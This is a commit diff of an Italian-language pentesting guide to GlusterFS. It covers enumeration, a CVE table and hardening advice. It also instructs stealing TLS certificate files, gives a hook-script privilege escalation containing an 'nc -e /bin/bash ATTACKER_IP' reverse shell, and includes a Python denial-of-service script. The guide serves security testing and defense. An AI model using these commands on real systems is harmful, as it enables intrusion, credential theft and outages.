mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
f4e71f8317
commit
0a09ca9c4c
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Informazioni di base
|
||||
## Informazioni di base
|
||||
|
||||
**GlusterFS** è un **sistema di file distribuito** che combina lo storage di più server in un **sistema unificato**. Consente una **scalabilità arbitraria**, il che significa che puoi facilmente aggiungere o rimuovere server di storage senza interrompere l'intero sistema di file. Questo garantisce alta **disponibilità** e **tolleranza ai guasti** per i tuoi dati. Con GlusterFS, puoi accedere ai tuoi file come se fossero memorizzati localmente, indipendentemente dall'infrastruttura server sottostante. Fornisce una soluzione potente e flessibile per gestire grandi quantità di dati su più server.
|
||||
**GlusterFS** è un **sistema di file distribuito** che combina lo storage di più server in un **namespace unificato**. Il demone di gestione (`glusterd`) ascolta per impostazione predefinita su **24007/TCP** e istruisce i brick del piano dati che iniziano a **49152/TCP** (una porta per brick, in incremento). Le versioni precedenti alla 9.x utilizzavano **24008–24009/TCP** per il trasporto dei brick, quindi potresti ancora incontrare quelle porte nei cluster legacy.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
> Suggerimento: 24007 risponde alle chiamate RPC anche quando i nodi solo storage **non** esportano alcun volume; pertanto il servizio è un obiettivo pivot affidabile all'interno di grandi infrastrutture.
|
||||
|
||||
**Porte predefinite**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (in poi)\
|
||||
Per la porta 49152, le porte incrementate di 1 devono essere aperte per utilizzare più mattoni. _In precedenza, la porta 24009 era utilizzata invece di 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## Enumerazione
|
||||
|
||||
Per interagire con questo filesystem è necessario installare il [**client GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
|
||||
Per elencare e montare i volumi disponibili, puoi usare:
|
||||
Installa le utility client sulla tua macchina di attacco:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
Se ricevi un **errore durante il tentativo di montare il filesystem**, puoi controllare i log in `/var/log/glusterfs/`
|
||||
1. **Scoperta dei peer e salute**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **Riconoscimento del volume**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **Montare senza privilegi**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
Se il montaggio fallisce, controlla `/var/log/glusterfs/<vol_name>-<uid>.log` sul lato client. I problemi comuni sono:
|
||||
|
||||
**Errori che menzionano certificati** possono essere risolti rubando i file (se hai accesso al sistema):
|
||||
* Applicazione di TLS (`option transport.socket.ssl on`)
|
||||
* Controllo degli accessi basato su indirizzo (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### Risoluzione dei problemi del certificato
|
||||
|
||||
E memorizzandoli nella tua macchina nella directory `/etc/ssl` o `/usr/lib/ssl` (se viene utilizzata una directory diversa, controlla le righe simili a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" nei log).
|
||||
Ruba i seguenti file da qualsiasi nodo client autorizzato e posizionali in `/etc/ssl/` (o nella directory mostrata nel log degli errori):
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## Vulnerabilità Conosciute (2022-2025)
|
||||
|
||||
| CVE | Versioni affette | Impatto | Note |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | Use-after-free in `dht_setxattr_mds_cbk` raggiungibile attraverso la rete | **DoS** remoto e probabile RCE. Risolto in 10.4.1 / 11.1. |
|
||||
| **CVE-2023-26253** | < 11.0 | Lettura fuori dai limiti nel gestore di notifiche FUSE | Crash remoto tramite operazioni FS create; PoC pubblico disponibile. |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | Validazione dei permessi errata durante il montaggio di `gluster_shared_storage` | Permette a qualsiasi client non autenticato di montare il volume admin – porta a **priv-esc** spiegato di seguito. |
|
||||
|
||||
> Controlla sempre `gluster --version` **su ogni nodo**; i cluster eterogenei sono comuni dopo aggiornamenti parziali.
|
||||
|
||||
### Sfruttare `gluster_shared_storage` (Escalation dei Privilegi)
|
||||
|
||||
Anche nelle versioni recenti molti amministratori lasciano il volume speciale `gluster_shared_storage` leggibile da tutti perché semplifica la geo-replicazione. Il volume contiene modelli di cronjob che vengono eseguiti con **root** su ogni nodo.
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
Se `hooks/1/` non è presente, cerca `/ss_bricks/` – il percorso esatto può variare con la versione principale.
|
||||
|
||||
### Denial-of-Service PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
Eseguire lo script provoca il crash di `glusterfsd` < 11.0.
|
||||
|
||||
---
|
||||
|
||||
## Indurimento e Rilevamento
|
||||
|
||||
* **Aggiornare** – l'attuale LTS è 11.1 (luglio 2025). Tutti i CVE sopra sono stati risolti.
|
||||
* Abilitare **TLS** per ogni brick:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* Limitare i client con elenchi CIDR:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* Esporre la porta di gestione 24007 solo su una **VLAN privata** o tramite tunnel SSH.
|
||||
* Controllare i log: `tail -f /var/log/glusterfs/glusterd.log` e configurare la funzione **audit-log** (`volume set <vol> features.audit-log on`).
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user